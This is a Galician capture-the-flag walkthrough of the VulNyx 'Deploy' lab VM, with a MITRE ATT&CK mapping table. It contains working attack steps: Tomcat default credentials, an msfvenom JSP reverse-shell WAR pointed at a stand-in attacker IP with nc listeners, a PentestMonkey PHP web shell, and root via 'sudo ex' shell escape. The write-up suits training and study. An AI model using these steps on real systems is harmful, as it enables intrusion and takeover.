Ir ao contido

Deploy

Máquina virtual Deploy

Fig. VulNyx Deploy
Fig. Card VulNyx Deploy

A máquina Deploy é moi interesante porque...

  • Credenciais por defecto en Tomcat (tomcat/s3cret)
  • Upload de WAR malicioso mediante Tomcat Manager
  • Credenciais en ficheiro de configuración comentadas pero visibles
  • Permisos de escritura en /var/www/html para webshell
  • Escalada mediante ex con sudo

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Deploy -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Deploy # 22,8080
whatweb IP_VulNyx_Deploy:8080
curl -I IP_VulNyx_Deploy:8080

Fase 2 — Análise

# Porto 8080 → Apache Tomcat
firefox IP_VulNyx_Deploy:8080 &

# Acceso ao panel de administración con credenciais por defecto
# Usuario: tomcat
# Contrasinal: s3cret
# Acceso exitoso a Tomcat Manager

Fase 3 — Explotación

# Xeración de payload WAR con reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP_Atacante LPORT=4444 -f war -o shell.war

# Preparamos listener no atacante
nc -nlvp 4444

# Subida do payload WAR mediante Tomcat Manager
# Deploy → WAR file to deploy → Seleccionar shell.war → Deploy

# Execución do payload
firefox http://IP_VulNyx_Deploy:8080/shell/ &
# ⇒ Conseguimos reverse shell como usuario tomcat

Fase 4 — Post‑explotación

# Enumeración de usuarios do sistema
cat /etc/passwd

# Lectura de ficheiro de configuración de Tomcat
cat /etc/tomcat9/tomcat-users.xml
# <?xml version="1.0" encoding="UTF-8"?>
# <tomcat-users xmlns="http://tomcat.apache.org/xml"
#               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
#               xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
#               version="1.0">
#   <user username="tomcat" password="s3cret" roles="manager-gui"/>
#   <!-- <user username="XXXXXXXXXXX" password="YYYYYYYYYY" roles="manager-gui"/> -->
# </tomcat-users>

# Atopamos credenciais do usuario XXXXXXXXXXX (comentadas pero visibles)
# Usuario: XXXXXXXXXXX
# Contrasinal: YYYYYYYYYY

# Acceso SSH co usuario sa
ssh XXXXXXXXXXX@IP_VulNyx_Deploy # Contrasinal: YYYYYYYYYY
# ⇒ Conseguimos consola de usuario XXXXXXXXXXX (flag user.txt)

# Enumeración de permisos de escritura
ls -ld /var/www/html
# Permisos de escritura en /var/www/html

# Subida de reverse shell PHP (PentestMonkey)
# No atacante, transferimos reverse-shell.php
# Modificamos IP e porto no script
# Subímola ao servidor

# Preparamos listener no atacante
nc -nlvp 5555

# Execución da reverse shell mediante navegador
firefox http://IP_VulNyx_Deploy/reverse-shell.php &
# ⇒ Conseguimos shell como usuario ZZZZZZZZZ

# Enumeración de permisos sudo
sudo -l
# User ZZZZZZZZZ may run the following commands on deploy:
#     (root) NOPASSWD: /usr/bin/ex

# Consulta en GTFOBins(https://gtfobins.github.io/) para ex
# Explotación de ex con sudo
sudo /usr/bin/ex
!/bin/bash
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Deploy

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Acceso con credenciais por defecto a Tomcat Manager Uso de credenciais por defecto T1078.001 — Valid Accounts: Default Accounts
T1110.001 — Brute Force: Password Guessing
CWE-798 — Use of Hard-coded Credentials
3. Explotación Subida de WAR malicioso mediante Tomcat Manager File upload / deploy malicioso T1190 — Exploit Public-Facing Application
T1105 — Ingress Tool Transfer
CWE-434 — Unrestricted Upload of File with Dangerous Type
4. Post-explotación Extracción de credenciais de ficheiros de configuración Credential Access T1552.001 — Unsecured Credentials: Credentials In Files
T1083 — File and Directory Discovery
CWE-312 — Cleartext Storage of Sensitive Information
Acceso SSH con credenciais válidas Uso de contas válidas T1021.004 — Remote Services: SSH
T1078 — Valid Accounts
CWE-522 — Insufficiently Protected Credentials
Subida de webshell PHP a directorio con permisos de escritura Web shell deployment T1505.003 — Server Software Component: Web Shell
T1105 — Ingress Tool Transfer
CWE-732 — Incorrect Permission Assignment for Critical Resource
Abuso de ex con sudo para escalada de privilexios Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control